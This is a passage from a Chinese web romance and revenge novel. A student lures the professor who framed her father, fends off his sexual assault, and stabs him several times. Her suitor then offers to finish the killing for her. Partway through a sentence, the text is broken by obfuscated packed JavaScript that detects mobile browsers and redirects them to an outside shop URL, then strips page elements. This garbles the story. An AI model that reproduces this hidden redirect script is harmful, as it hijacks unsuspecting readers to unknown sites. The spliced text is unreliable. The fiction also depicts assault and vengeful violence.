他也没有让她被抢走的打算。 “梁舒音?” 周毅又轻轻敲了两下门。 她被他缠着,根本没法回答,于是下一刻,她听到钥匙插入锁孔的细密动静。 警铃大作,危险在即,她头皮发麻,男人的热气却在她唇上不慌不忙地游走着。 亲了会儿,像是要给她留出回应的空间,他好心地退出唇舌交战,吻移到她细嫩的脖颈处,贴着,一寸寸往下亲吻。 独属于他的松木烟草味萦绕在她的呼吸中,她忍受着侧颈的濡湿舔|舐和逗弄,险些哼出了声。 门外钥匙拧动。 偏头承接的人,脑子里瞬间找回一丝清明,急冲冲脱口而出:“别进来。” “我在换衣服,稍...” 最后一个字,被他吞吃了去。 37. 故意 梁舒音将身体紧紧贴在墙上,试图离陆祁溟远一点。 然而下一刻,男人的脚尖却故意挤进她短靴的空隙中,逼近了,用宽硕身体将她拢在他覆下的阴影中。 退无可退。 鼻尖是他混合了松木香的烟草味,她死死咬着唇,不让他探进。 男人狡猾,哼笑一声,辗转去含住她的耳垂。 他牙齿刮过她的敏感区,轻咬,她浑身一颤,发出陌生的娇嗔,不自觉微张了嘴。 他便顺势探入,唇舌配合,吸允舔舐她口腔的每一寸。 陆祁溟的蛮横让她既发软,又生气,张嘴就要咬他。 然而,有过前车之鉴的人,像是早就预料到这茬似的,在她行动前,琢了下她唇角,迅速退了出去。 但他并未松手,一手仍蛮力扣着她的手腕,一手握住她的腰,喉头溢着粗气,低头看向脸颊绯红的人。 而她亦瞪着他。 两人眼神交战,目光炙热又粘稠。 情|欲依旧在体内游走。 彼此都像拉满的弓。 午休时间,世界陷入短暂的休眠。 图书馆外,光线穿过枝桠,洒在下过雨的水洼中,光斑点点。 而在这昏暗图书馆的一隅,她的青柠味和他的烟草香混合交融,辟出一个无人知晓的隐秘世界。 数次的唇舌厮杀与追逐,两人早就培养出了这方面的默契。 但这次,陆祁溟明显察觉到她跟以往的不同。 她依然推拒,但行动中却透着一种似是而非的意味,像是在某个瞬间高墙被雨水浇湿,坍塌了一部分。 虽然,坍塌的地方,很快就被她修筑起来,严丝合缝地。 因为捕捉到这个微妙的细节,陆祁溟心里有种天光照进的豁然开朗。 寂静中,他睨着她,嗓音嘶哑却愉悦,“又想咬人了?” “谁让你耍流氓。” 身下的人恶狠狠瞪着他,但迷里恍惚的那双狐狸眼、绵软不稳的嗓音,无一不勾得他心里发痒。 他凑近了,逗她,“不乐意,那你怎么不推开我?” 她清冷眼神望着他,毫不退让,一字一句道:“礼尚往来。” 这四个字一出,安静空间顿时溢出陆祁溟包裹着气声的低笑。 下一刻,不等她反应过来,他又低头亲了下她,双手撑在她身侧的墙上,凑近道:“那要不要再礼尚往来一次?” 她没上当,隔着他衬衫,毫不手软地狠狠掐了下他腹肌。 男人蹙眉闷哼一声,抓住她的手,低头看了眼,没留长指甲,实打实用了蛮力的。 也不知是喜欢被她虐,还是嘴硬,陆祁溟引着她的手,故意往他腹肌贴上去,垂眼睨她的样子,颇有种挑衅的意味。 “没吃饭啊?就那么点力气。” 她被他握着,掌心下男人的皮肤因常年锻炼,呈现出一定的硬度。 手心已经燃起一团让她心跳失衡的火苗,眼睛偏不示弱地跟他对视,两人的呼吸在狭小封闭的空间,再度混乱交织。 几秒后,掌心开始出汗,她猛抽出了手,低声骂了句。 “有病。” “不是中文系的吗?怎么那么词穷,骂人的话翻来覆去就那么两句?” 陆祁溟低笑一声,无视她眼底的那簇火苗,语气温和又强势。 “下次别再让我看见给送蛋糕的那个男人,否则—” 他鼻尖蹭了蹭她鼻头,“我真不知道自己还会做出什么过分的举动。” 讨厌被威胁被命令,梁舒音仰头低斥:“你凭什么管我?” 他视线细细描摹这样妩媚又嘴犟的她,唇角扬起些微弧度。 “我的确管不了你。”胸腔震颤出低笑,“不过,你倒是可以试试。” “陆祁溟,你到底怎样才肯放过我?” 她真不知道这个男人到底哪里来的耐心,一直跟她这么耗着,怎么都赶不走。 她这句话,陆祁溟毫不意外,也早习惯了。 他沉黑的眸子盯着她,没说话,像是一种危险的信号在逼近。 下一刻,他忽然扣着她后脑勺,猛地往身前一带,微偏了头,薄唇再次缠上她脖颈。 不是蜻蜓点水,而是用力吃咬了下。 暗室内顿时响起清晰旖旎的声音。 手被他扣着,梁舒音一时没法挣扎,也怕动静太大引起外面的注意,于是只能任由灼热气息在颈侧攀爬,沉默地闭眼受着。 就在她指甲几乎嵌入他坚硬的小臂时,陆祁溟松了嘴,带着薄茧的指腹,摩挲着她脖颈处的红印,温柔又挑衅地看向她。 “梁舒音,你说呢?” “你觉得我会放过你吗?” 她知道他是故意的。 故意用这种方式告诉她身边的男人,别打她的主意。 她抿着唇,胸口剧烈起伏,一双眼睁大了狠狠剜着他。 很明显,这回是真的生气了。 陆祁溟其实挺怕她生气的。 他见识过她翻脸不认人的样子,也绝对相信她只要铁了心跟他划清界限,他根本拿她没办法。 暗自深吸了口气,他语气倏地温柔下来,从强势到哄她。 “所以,到底是为什么?” 梁舒音偏头,不看他,也不理他。 “不想跟我在一起,总得有个理由吧。”他循循善诱。 像是怕她撒谎,他提前预警:“别说什么不喜欢,梁舒音,我不是傻子。” 剧烈起伏的胸口逐渐平息下来,梁舒音缓缓抬头看他。 “我答应过我爸,毕业前不谈恋爱,好好读书的。” 死无对证的一句话。 也不知在敷衍,还是胡诌。 他却蓦地笑了下。 起码不是其他什么乱七八糟的理由。 “行,好学生。” 他亲昵地揉她脑袋,又伸手替她整理好刚才接吻时掉落的发丝。 “那我就等到你毕业。” “不过。”他起身离开前,又捏着她下巴道,“你身边不能再有别人。” 她用力拍开他的手,语气冷淡,“我没法控制别人的想法。” “嗯?”男人作势又要亲她。 她偏了头,“你再耍流氓,我就叫人了。” 陆祁溟低笑一声,松开手,伸手去整理被她扯得凌乱不堪的衬衫,边扣着繁琐的纽扣,边意味深长看着她。 “嗯,那你下次再扒流氓的衣服,能不能下手轻点?” 还没张口回应,男人摸了摸她脑袋,肆无忌惮拧开休息室的门,带着一脸正人君子的表情离开了。 梁舒音屏住呼吸,仔细听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495823|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外的动静,确认他没被人发现,她才瘫靠在墙上,闭着眼深深地吸了口气。 打开亮堂的顶灯,她从包里拿出镜子,照了下侧颈。 他属狗的吗?这么嘬。 将披散的头发弄到肩前,挡住那处印记后,她才开门出去。 -- 班长孟超生日这天,他在城东的微度假酒店定了位置,他在班里人缘好,来了不少人。 这里吃喝玩乐一条龙,吃完午饭,一拨人去唱K,一拨人去玩真人CS,还有一拨人去户外烧烤。 梁舒音什么也不想干,吃饱了就只想躺着休息。 然而陈可可和林语棠都想去唱歌,她便被她们硬拽去了顶层的ktv。 她从小五音不全,坐在角落里听着,也不点歌,别人点了让她唱,她也礼貌推辞。 封闭的空间实在太闷,没多久,她就借口去洗手间,跑出去透气了。 顶层有个露天花园连廊,她坐着吹了会儿风,就听见不远处,一个男人在打电话。 斯斯文文故作温润的嗓音,在她心里惊起一丝涟漪。 她微怔,偏头望过去。 果然是李明德。 此刻对方还没注意到她。 她犹豫片刻,起身,朝着李明德走过去。 “李老师。”她在身后叫他。 男人掐断电话转过头,看见她时有些意外,“梁舒音同学,你怎么在这儿?” “班长在这儿过生日,我们班同学都来了。” 李明德点点头。 梁舒音又问:“老师您什么时候出差回来的?” “昨天。” “那下周的课,还是您来给我们上吗?” 李明德看着她,“怎么,你希望我来上?” 她点头,“嗯,虽然代课老师也很好,但我还是更习惯您的讲课方式。” 李明德轻笑:“是我来上。” 梁舒音露出一副“那就好”的表情。 李明德显然很受用,连语气都轻缓了不少,“对了,不是说同学生日吗,你怎么跑出来了?” 她低头挽了下耳发,咳咳两声,“我身体不舒服,想先回家了。” 刚在里面呆久了,她脸颊缺氧晕出的红还未安全消散,这落在李明德眼里,却成了一个少女的羞怯。 他盯着眼前那张白里透红的精致小脸,“一个人回去,不找人送送?” “其他同学都在玩儿,我不想扫了他们的兴致,我自己打车就行了。” 李明德顿了下,抬腕看了眼手表,“这样吧,我正好要回市中心,顺路送你。” 她盯着他,两秒后微微点头,“那就麻烦李老师了。” 上车后,梁舒音系好安全带,从包里拿出手机,发了条信息出去。 一旁的男人不经意地瞥她一眼,“跟男朋友发信息呢?” “没有,我跟同学说一声先走了,免得他们找不到我担心。” 接着,她又极其认真地补充了一句,“老师,我没有男朋友。” 李明德看她一眼,被镜片映出绿光的那双眼睛,渗出若隐若无的笑意。 方向盘一打,车驶出酒店的停车场,他问她:“要回家还是回学校?” 梁舒音盯着前方的车行道,捏着手机,用力握了下。 “回家。” 38. 为她 徐方集团的内部整顿终于收尾。 陆祁溟一刻也没多留,跟手底下的人开完会,就马不停蹄从崇洲飞回了虞海。 刚落地,秦授的电话便打了进来。 李明德的事,有了眉目。 陆祁溟走出机场,一身正装的司机已经等候在外,看见他,立刻下车,恭恭敬敬地替他拉开车门。 躬身进入车内,他接起秦授的电话,同时点开他发来的那份资料。 秦授废了九牛二虎之力,终于查到了李明德那些被人为抹去的劣迹。 当年指控梁舒音父亲的那个女学生赵莹,是李明德手底下的学生,出事后,便自费出国了。 但她家庭条件并不好,根本负担不起那么大一笔留学的费用。 无独有偶,上学期李明德班里有个叫江莱的女生突然退学,但奇怪的是,因病退学的人,竟也出国养病了。 这些人和李明德之间,是否存在着不可告人的关系,还需要确凿的证据来支撑。 然而他的学生接连出事,这绝对不是简单的巧合。 目光继续往下,是李明德参加各种文化活动,被女读者女学生簇拥的照片。 看起来,还挺受欢迎的。 这没什么不妥,毕竟他学识渊博,那张年近五十的脸也保养得当,举手投足间温润富有教养,被学生崇拜,也是情理之中的事。 然而再往下翻,瞥见某个熟悉的身影时,陆祁溟的目光倏然一凛。 他急忙将照片放大,仔细确认。 的确是梁舒音。 国庆节那天,李明德主办的一个活动,她去了。 所以那晚,她心情低落到梦见了她爸爸,甚至还让他带她去喝酒,当真是跟李明德有关? 只是,那样一场公共场合的公开活动,究竟发生了什么让她不愉快的意外呢? “找到这两个人了吗?”陆祁溟琢磨着这件事,语气急切地问秦授。 如果李明德罪行属实,那么赵莹和江莱的证词就尤为重要了。 “目前只找到了赵莹,这姑娘原本答应了配合我们,但转眼就溜了,还连夜搬了家。” 秦授顿了下,“不过从她这躲闪的态度来看,当年那件事的猫腻,八成没得跑了。” “嗯,只要她愿意开口说出真相,条件随便提。” 陆祁溟的语气又厉又沉,像裹了霜雪,“还有,马上找人盯着梁舒音。” 天色不知何时,阴沉了下来,头顶乌云挟风,街边树木摇晃。 像暴雨来临的前奏。 挂断电话后,陆祁溟敛眸望着窗外,沉黑眼底仿佛蓄起一潭深井。 所以,她主动接近李明德,是为了拿到什么相关的证据吗? 如果是为了证据,那么以她直白的,或者说是横冲直撞的做事方法… 天空开始飘雨,一滴一滴,砸在洁净无暇的车窗上。 水柱蜿蜒的玻璃窗上,映出陆祁溟一闪而过的凛冽眸光。 她想用自己做诱饵? 脑子里刚浮现这个可怕的念头时,手机骤然响起,他收到秦授发来的信息。 “她上了李明德的车。” -- 梁舒音家的阳台,李明德盯着那盆修竹,微眯着眼睛,不知道在想些什么。 身后,女孩甜美的声音响起。 “李老师,您喝茶。” 李明德侧过身,看了眼她手头的白色陶瓷茶盏,神情稍顿,接了过来。 “谢谢。” “你喜欢养花?”他语气随意地问道。 梁舒音微微摇头,盯着他说:“这些都是我爸留下的。” 李明德正拿着茶盖撇着浮在水面的茶叶,闻言,顿了下,“你爸?” “嗯。” 她伸手,指尖轻轻抚过修竹绿叶,眼神定在上面,语气淡然平静。 “我爸经常出差,我妈又再婚了,所以这些花草基本都是我在替他打理。” 李明德似怜悯似赞赏地看着她,微微点头,“真是好孩子。” “对了,老师。” 她撇开话题,“您上次借给我的那本书,我已经看完了,我现在去拿来给您。” “好。” 李明德看了眼女孩纤细如竹的背影,将目光落在宽敞的客厅内。 的确没什么男人的气息。看来她那个父亲,出差是家常便饭。 将茶杯放下,他抬脚,脚步无声地跟了过去。 那本书并没放在书房,而是被安置在她卧室墙角的一个黑色小书架上。 她刚从书架拿了书,一转身,男人已经在她身后了。 “李老师,给。”她平静地将书递过去。 男人伸了手,手指在书封上摩挲着,慢慢地,滑向她捏着书的白嫩手指。 他试探性抚摸了下,继而握住她手腕,关心道:“怎么这么烫?发烧了?” 梁舒音缓缓抽出手,低头,没看他,“应该…没有吧。” 男人却走进了,双手放在她肩膀上,轻拍了两下,“把外套脱了吧,看你热的。” 不等她回答,那双粗糙的手已经拉着她的开衫,一点点往下扯。 “老师,您别这样。” 她显得有些为难,又有些半推半就。 然而,下一刻,李明德却径直将她推倒在了床尾的墨色沙发上。 “老师...您…您这是做什么?”她满脸通红,羞怯咬唇。 “你让我上来,不就是为了这个嘛。” 李明德伏在她身上,伸手去摸她脸颊,“年轻真好啊,看这水嫩的小脸。” “老师,我不是这个意思。” 梁舒音偏了头,眼睛别向一旁,指尖紧紧抓着沙发的绒垫,胸口大幅度起伏着。 “我和林语棠都仰慕您,因为您学识渊博,为人风趣,但真不是...” 李明德像是看透女孩的欲拒还迎,俯身低语。 “那林语棠有没有告诉过你,她在我身下,被我摸被我亲的时候,有多仰慕我...” 浑身冷意缠绕,梁舒音双颊因膨胀的怒气而变得通红,却不得不装作震惊羞涩的模样。 “老师,你们...” 李明德不答反问,引诱她说:“想试试吗?” 不等她回答,他便迫不及待地低头去亲她。 男人恶心的烟酒气在她颈侧游移,她睁着眼,漠然地盯着白色天花板,面无表情地开口。 “那老师,您更喜欢林语棠还是我?” 李明德动作一顿,抬眸看向她,目光里满是胜券在握的自负。 像是在说,这些小女生,果然都很容易上钩。 “这些年,心甘情愿爬上我床的女学生不少,但只要你愿意,就不会再有别人。” 男人俯身,嗅闻着她发间的香味。 “可是老师,我今天不太舒服...” 她将手缓缓伸进了沙发靠背后,眼里浮现嘲讽的笑。 “没关系,等会儿就舒服了。” 这个年纪的女孩,像枝头沾了露水花朵,鲜活,饱满,又香气四溢。 跟她们在一起,好像时光都不曾流逝,而他也还年轻。 沉浸在旧日往事中的男人,捏着她下巴,迫使她转过脸。 然而下一刻,他正急切地将唇贴上去,突然浑身一滞,像河中被叉子贯穿的鱼,身体僵直在半空中。 他瞪大一双绿幽幽的眼,不可置信地看向自己的胸前。 一把匕首,正插在他肩膀内侧。 鲜血汩汩淌出,片刻便将他浅蓝色衬衫染成鲜红一片。 “梁舒音,你...” 苍老喑哑的嗓音从他喉咙挤出,看向身下的人时,那声线却因震惊戛然而止。 躺在沙发上的女孩,哪里还有半点娇羞的模样。她面上是超乎年龄的成熟,唇角带着嘲讽的笑,冷如冰霜地看着他。 而这极致的冷漠中,似乎隐隐闪着一把要将他燃尽的火苗。 “不对,你...” 他用力捂着胸口,痛苦抽了口气,身体因疼痛蜷了起来,“你到底是谁?” “你还记得梁蔚吗?” 梁舒音抬脚,用力将中刀的男人踹下沙发,鄙夷地看着他,像看一堆恶臭的垃圾。 “梁蔚?” 那张温润的面孔忽然变得扭曲,低声怒吼道:“你是谁,跟他什么关系?” “梁蔚,梁舒音...” 她从沙发上慢悠悠起身,随手拿了张湿巾擦着脸上、颈侧的脏污,提醒他。 “你觉得,我们会是什么关系呢?” 李明德微眯起眼睛,“你是他女儿?” “没想到吧。” 梁舒音冷笑,随手抓起落在沙发上的那本书,一把扔在男人脸上,又抬脚去踩他心口。 然而,脚底刚落下时,就被伪装的男人握着脚踝,猛地一拽。 猝不及防跌倒在地。 还没反应过来,脖子已经被他扼住。男人提拎着她,将她拖去了窗边。 脑袋瞬间悬在了窗外。 梁舒音顿时因缺氧而胀红了脸,“你没...喝…喝茶?” 李明德一边阴恻恻地盯着她,一边笑着将身上的匕首拔出。随着他一声嘶痛的低吼,血顿时飞溅到她脸上、身上。 “既然要报仇,怎么不调查清楚。” 汩汩鲜血从他肩侧窟窿流出,因疼痛扭曲的嘴角,却浮现阴冷的笑,“我这个人呐,从来不喝绿茶。” “我只是没想到,像梁蔚那种软弱的人,竟然会有个这么刚烈的女儿。可惜,真是可惜。” 掐着她脖子的手猛地用力,她双脚悬空,身体摇摇欲坠。 “杀人...是犯法的。”梁舒音从喉头挤出的声音颤颤巍巍。 “犯法?” 李明德像是听到什么笑话,“你爸死了,我还不是活得好好的?” 阴狠的脸凑近了,他嚣张嗤笑,一字一句道:“在虞海,我,就是法。” 眼前的男人似乎陷入了某种癫狂之中。 梁舒音知道,真相很快就要浮出水面了。 “真的...是你指使你学生..污蔑我爸的?” 她瘦削的脊背用力抵在窗边,一双手死死拽着李明德的手臂。 想要从傲慢狂妄,丝毫不把法律放在眼里的人口中套出什么,也许并不难。 果然,男人蔑视着她,“看在你马上就要被我扔下去的份儿上,我就大发慈悲告诉你。” “没错,就是我指使的。” 腥甜的东西涌上喉头,她愤怒而平静地质问他。 “为什么?我爸一直把你当成...挚友,你为什么...要害他。” “因为我看他不爽,同样的竞聘,凭什么他要退出,我要他当好人吗?” “他以为他是谁?” 李明德咬牙带笑的样子,近乎变态。 头顶的天空浓云密布,阴沉惨淡。 小雨夹着冷风,砸在她脸上,梁舒音一头黑发在风中翻飞着,像悬在城市半空中的泼墨。 她睁眼望着苍穹,一滴泪伴随着唇角的浅笑,从她脸颊缓缓滚落。 这么多年了,爸爸,我终于替你找到真相了。 -- 梁舒音家楼下,林语棠从陈可可的小电驴上跳下来。 刚刚收到梁舒音的信息后,两人连歌也没心思唱了,扔下话筒,招呼都没跟班长打,就偷偷溜走了。 怕路上堵车,她们直接骑着电瓶车,抄小道过来的。 这会儿,梁舒音的电话关机,两人都紧张得浑身冒了冷汗。 来不及把车停好,陈可可将车锁在了小区门口,正要离开,就被巡逻的治安管理员拦了下来。 “同学,你这车不能乱停。” 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瞥了眼跌坐在窗边,像是昏迷过去的梁舒音,陈可可满腔怒火涌上,拿着手头的板砖,气势汹汹冲了过去。 “我跟你拼了。” “你这个禽兽,伪君子,你去死吧。” 陈可可个子小,板砖砸过去,只落在李明德的后背上,并没击中要害,反而刺激到了这个丧失理智的恶魔。 李明德吃痛地闷哼一声,松开掐住林语棠的手,扭动了下脖子,带着诡异的笑,朝陈可可走过来。 “又来个送死的,你们可真是姐妹情深啊。” 陈可可被吓得跌倒在地。 男人步步逼近。 她边用力往后爬,边威胁他,“我已经报警了,你最好别乱来。” “我们班同学都看见音音上了你的车,她出事了,你也逃脱不了干系。” 她爬到门口,身后的门却被李明德猛地摔上了。 陈可可吓得浑身一抖,瑟缩成一团,闭上眼睛,嚎啕大哭了起来。 “音音,棠棠,你们快醒醒。” “呜呜呜,你这个死变态,别靠近我。” 也不知过了多久,被吓傻的陈可可才反应过来,恶魔似乎并未朝她伸出魔爪。 她缓缓睁眼,只见梁舒音拿着把刀,刺进了他的后背。 面前的男人瞪大了眼,缓缓倒地。 她拍着胸口,重重舒了口气,然后扒着墙,抖着腿起身,去将缺氧半昏迷的林语棠从地上扶起来。 “天啊,我们三个好厉害,竟然真的将这个魔鬼抓住了。” “这也太热血了吧呜呜~” 她喜极而泣,刚抹了把脸上的泪,就从林语棠望向她身后的恐惧眼神中,察觉到了什么。 扭头看去,梁舒音将刀从李明德身上拔了出来,血溅在她脸上,她也浑然不觉。 她此刻正骑坐在男人身上,面无表情地举起了握住那把刀的手。 “音音,你...” 陈可可的惊呼声尚未落下,又一刀,刺进了李明德心脏的上方。 陈可可被吓懵了,林语棠率先反应过来,踉跄着爬过去,握着她手腕,拼命阻止着失去了意识却力大无穷的梁舒音。 “音音,你快放下刀,你这样他会死的。” 然而,她却像是陷入了魔怔,握着刀的手,越来越用力。 眼前的世界变得模糊黯淡,梁舒音仿佛坠入了一个黑暗的空间。 在这里,权力不再定义规则,她手持利刃,终于可以惩治黑暗。 耳边浮现了爸爸温和的声音。 “音音,开饭了,爸爸做了你最爱吃的小混沌,不过啊你得先把这些蔬菜给吃了。” “音音,你要知道,人在这世上,都是一个人来,一个人走的。” “爸爸以后不能再护着你了,但爸爸知道,你一直是个勇敢坚强的好孩子。” 她看见了爸爸的影子,她想去追他,可那影子却忽然消失不见了。 剧烈的头痛袭来,她浑身都颤抖了起来。 只有握着利刃的手,提醒她,只要她再用力些,就能给爸爸报仇了。 于是手一点点往下。 身下奄奄一息的男人发出痛苦的哀求。 似乎,还有其他人的声音。 “醒醒。” “梁舒音,醒醒。” “音音...放手,你给我放手。” 熟悉的松木香味靠近,肩膀被人握着,猛烈摇晃着。 身体忽然坠落,她跌入了一个温暖宽厚的怀抱。 回过神来,梁舒音大口喘着气,看向手中沾满红色的武器,意识到自己刚才陷入了噩梦的漩涡中。 然而,即便此刻清醒了,仇恨带来的丧失理智的偏执,仍然无法放下。 她仰头看向身旁的男人,“陆...祁溟。” “你也要阻止我吗?” 她半靠在他怀里,虚弱得像是还剩下最后一口气,一张白脸满是鲜红,黑发被汗水濡湿,凌乱地贴在她额头上。 然而,如此柔弱的人,望着他的目光却是无比的坚定,无比的倔强。 “你要他死?” 陆祁溟压低声音,眉目异常严肃。 “他害死了我爸,我要他...” 她眼里空茫一片,唇间的一字一句,却是笃定的平静,“要他偿命。” “好,梁舒音——” 男人在耳边的回答让她意外,她下意识扭头看他,怀疑自己听错了。 陆祁溟却弯了唇,笑看着她,伸手握住她手中的匕|首,眼尾泛着一丝她从未见过的红。 “刀,我来替你拿。” 他半跪在地上,将她紧紧搂在怀里,亲了亲她额头,语气温柔到了极致。 “沾血的事,我来替你做。” 39. [锁] [此章节已锁] 眼前的世界雾气弥漫。 梁舒音似乎闯入了一座黑暗不见天日的森林。 她环顾四周,黑鸦啼鸣,飞鸟仓皇逃窜,枯藤在脚下缠绕绵延。 不管怎么奔跑,无论哪个方向,都逃不出瘴气的包围,天地间怎么也看不见出口。 忽然,一张丑陋的脸出现在眼前,那人戴着奇怪的小丑面具,面具沾满鲜红。 “你是谁?”她警惕地往后退着,攥紧了掌心。 那人拿出一把刀,红唇扭曲成诡异的弧度,“想对付我?还嫩了点。” 说着,朝她挥刀而来。 “啊——” 梁舒音低叫一声,从床上腾坐了起来。 原来是梦。 她抹了把脑门的汗,捂着胸口,大口大口喘着气。 平复下来后,她掀开被子准备下床,身体却忽地一僵。 她想起了什么。 她没被梦里的男人捅,相反,几个小时前,她在这间卧室里捅了李明德一刀。 不,是两刀。 后来,陆祁溟过来,他说要替她拿那把沾血的刀,她才恍然清醒自己做了什么。 她没想捅他的,她只想拿到证据,再报警,将他送进监狱。 失控大概是从他说出那些恶心的话开始的。 在那之后,大家都疯了。 平复了下激烈的记忆,她下床,赤脚踩着地板,低头寻找着什么。 头还有点痛,她按揉着太阳穴扫视了一遍屋子,所有的痕迹都被清理干净了。 她记得后来警察过来了,做了笔录,在昏睡之前,她好像听见陆祁溟在耳边低声说了一句话。 “累了就睡,我陪着你。” 眼眸骤然一亮,她鞋子都没穿,慌忙跑去了客厅。然而,空荡荡的客厅,哪里还有半个人影。 她失望地垂下睫羽。 在原地呆愣了两分钟后,正要转身回卧室,就听到门锁被拧开的声音。 她朝门口投去目光。 房门被拉开,一个身形挺拔的男人拎着两个很大的鹅黄色购物袋进来了。 男人将门拉上,转头对上她的视线,微微一怔。 彼此都有些意外。 他在门口,她在客厅,隔着不远的距离,静静凝试着对方。 其实彼此之间一直都只有这么点距离,她却有种跨越了万水千山的错觉。 还是陆祁溟先别开了视线。 他将钥匙搁在玄关柜上,从其中一只购物袋中拿出双新的男士拖鞋,换上了,抬头跟她解释。 “钥匙是陈可可给我的。” 梁舒音没搭腔,只静静地,一瞬不眨地盯着他。 她看着他换了鞋,又看着他慢慢地,朝她走了过来。 垂在身侧的手指下意识微蜷了下。 男人从玄关进来,将购物袋放在餐桌上,轻车熟路挑出需要冷冻的食材。 “我看你冰箱空了,去给你买了点吃的。” 不等她回应,他已经拿着东西走进厨房,拉开冰箱,将食材整整齐齐码放进去。 紧接着,表面镇定的人挽起袖口,转身去洗手台洗手。 留下来是为了照顾她,但她的反应却不在他预料之中。 他不确定她是不是生气了。 如果她现在要赶他走,他好像真没什么留下来的资格。 但他又不可能在这种时候放她不管。 烦躁间,正准备再说些什么,一个软绵绵的身体忽然贴上他后背,一双白皙的手同时从身后环住了他的腰。 陆祁溟浑身一僵,足足愣了有五秒。 反应过来后,他关了水龙头,扯了张厨房用纸把手擦干,然后缓缓转过身,垂眸盯着眼前的人。 而此时此刻,她也正仰头望着他,眼里没了往日的淡漠,只有某种近乎依赖的情绪。 心底忽然变得好柔软。 陆祁溟抬手去探她额头,因情绪过激导致的低烧,已经好转。 他的手顺势往下,男人骨骼突出的大手,抚摸着她巴掌大的小脸,虎口卡在她耳下。 “还难受吗?”他用拇指反复摩梭着她白嫩的脸颊。 梁舒音摇头,刚要张嘴,眉头倏然一皱。 有什么东西硌着她脚底。 她下意识低头看了眼,是花盆里的那种小石子。 大概是下午林语棠用来砸李明德的那个花盆里残留的,被人的脚步带到了不该去的地方。 顺着她的视线,陆祁溟这才发现她赤着脚,脚尖都已经冻得有些发红了。 “怎么又不穿鞋?” 他压下眉头,不等她回应,已经将人打横抱起,去了客厅。 女孩很轻,靠在他怀里轻飘飘的,好像一阵风都能把她吹走似的。 心里顿时浮现一个很莫名的想法。 太瘦了,得好好养养。 被他忽然抱起来,梁舒音下意识伸手去搂他脖子,胸口无意识在他身上蹭了下。 男人脚下一顿,眼眸深深地望着她。 她察觉到不妥,低了头,刻意跟他隔开些距离,这才发现自己只穿了件薄薄的真丝吊带裙。 刚才衣服弄脏了,是陈可可临走前替她换上的这件睡衣。 陆祁溟将她放在沙发上,目光落在她干燥的唇上。 “渴吗?” 梁舒音点头,“嗯。” “等着,我去给你倒水。” “好。” 这荒谬又真实的一天,她演了戏,泄了恨,还捅了人。 精疲力竭,如一尾跳出鱼塘、快要干死的鱼,急需水的灌溉。 不管是身体,还是灵魂。 其实刚才从梦魇中醒来,她都没有真正松懈下来。 直到他出现在她家,直到她抱住真真实实的他,直到他温柔责备的嗓音落在她耳边。 她才真正松弛下来,并深刻意识到这种感觉是什么。 是依赖。 她依赖上了被她屡次推开的男人。 从他说出那句“刀,我来替你拿”开始。 梁舒音捧着陆祁溟递来的一杯水,仰着脑袋,一口气不歇地往身体里灌着。 喝得太急,她胸脯剧烈起伏,白皙长腿蜷曲着,跪坐在沙发上,醒目的红色脚趾因身体的放松而无意识蜷了蜷。 喝完后,她将水杯放在茶几上,舔了舔湿润的唇,目光怔怔地看着他。 “谢谢。” 男人的视线这才从她粉色的唇瓣,回到她那双紧盯着自己的眼睛上。 然而片刻的对视后,又下移到她的唇上。 她知道那是什么意思。 下一刻,男人果然付诸实践,扣着她后脑勺,将她带了过去。 他覆下来的时候,她却微微偏了头。 男人干燥的唇落在了她脸颊上,他动作微顿,继而叹出微不可察的低笑。 似自嘲,似失望。 陆祁溟抬头看她两秒,松了手,她却捉住他的手,直起跪坐在沙发上的身体,伸手去捧住他的脸。 轻轻地,像羽毛扫过一样,主动在他唇上印下一个吻。 动作行云流水,快到男人都没反应过来。 他静静审视着她,眼底慢慢漾出笑,几秒后,忽然将她抱坐在自己身上。 “什么意思?”他低声问她。 她坐在他身上,没回答,看他一眼,又捧着他的脸,低头吻下去。 唇和唇粘腻地碰上,离开,又更深地碰了下,再离开。 面色浮现一抹红,梁舒音掀起睫羽看向他,似乎想得到什么首肯。 陆祁溟微仰头颈,不动声色盯着她,目光在她唇上流连。 得到鼓舞,她低了头,继续实践起来。先是用舌尖轻碰他上唇,再含住下唇,一点点吸允。 陆祁溟一手撑在沙发上,一手扶着她的腰,以免她掉下去。 她唇瓣柔软,动作轻柔,长长的睫毛拂过他鼻尖、脸颊,分明不太熟练,却轻易就勾起他体内巨大的情|潮。 也不知忍耐了多久,掌控者轻柔缓慢的动作,终于让他失去耐心。 滚烫鼻息擦过他脸颊,他猛伸手扣住她后颈,将她送到了自己唇边。 这个吻炙热而绵长。 两人贴得很紧,胸膛和胸膛之间再没有多余的空气。 也再没有什么能够阻挡他们。 她手放在他后颈上勾着,微微仰头,承受着他唇舌的温柔交缠。 他宽大手掌揉捏着她纤细的腰肢,用力地,几乎要将她拧断。 落日鎏金,夕阳晕红落地窗外的天际。 两人在光线沉沉的地方,交换着吐息。 也不知过了多久,直到粗重缺氧的呼吸溢满室内,他才勉强松开了她。 却还是舍不得放过她,干燥的唇贴着她耳朵,喑哑出声,“音音,我们现在算是什么关系?” 她半睁着眼,一双晕了雾气的眸子望着他,无辜又妩媚。 “我不知...嗯...” 耳垂被他狠咬了口。 “不知道?” 男人低笑一声,将头埋进她颈窝。 然而,梁舒音却忽然清醒了过来。 他身体的变化,弄得她很不舒服。 她伸手去推他,面颊绯红,眼神略显无措地望着他。 “怕了?” 男人嗓音带着亲热后的沙哑,眼底的情|欲还未褪散。 在挑逗她。 “我要去喝水。”她作势就要从他身上下去。 结果又被他箍着腰按进怀里。 “别动,让我再抱会儿。” 他握着她后颈,亲了下她头顶,抚摸着她骨骼突出的脊背,“乖,一会儿就好。” 梁舒音老老实实坐在沙发上,还给自己裹了件外套。 -- 刚才那几分钟简直如坐针毡,她再也不敢在他身上乱蹭了。 此刻,看着他打电话,梁舒音脑子里却反复出现他跟她说的那两句话。 “刀,我来替你拿。” “沾血的事,我来替你做。” 如果不是她后来清醒过来,他大概真的会替她要了李 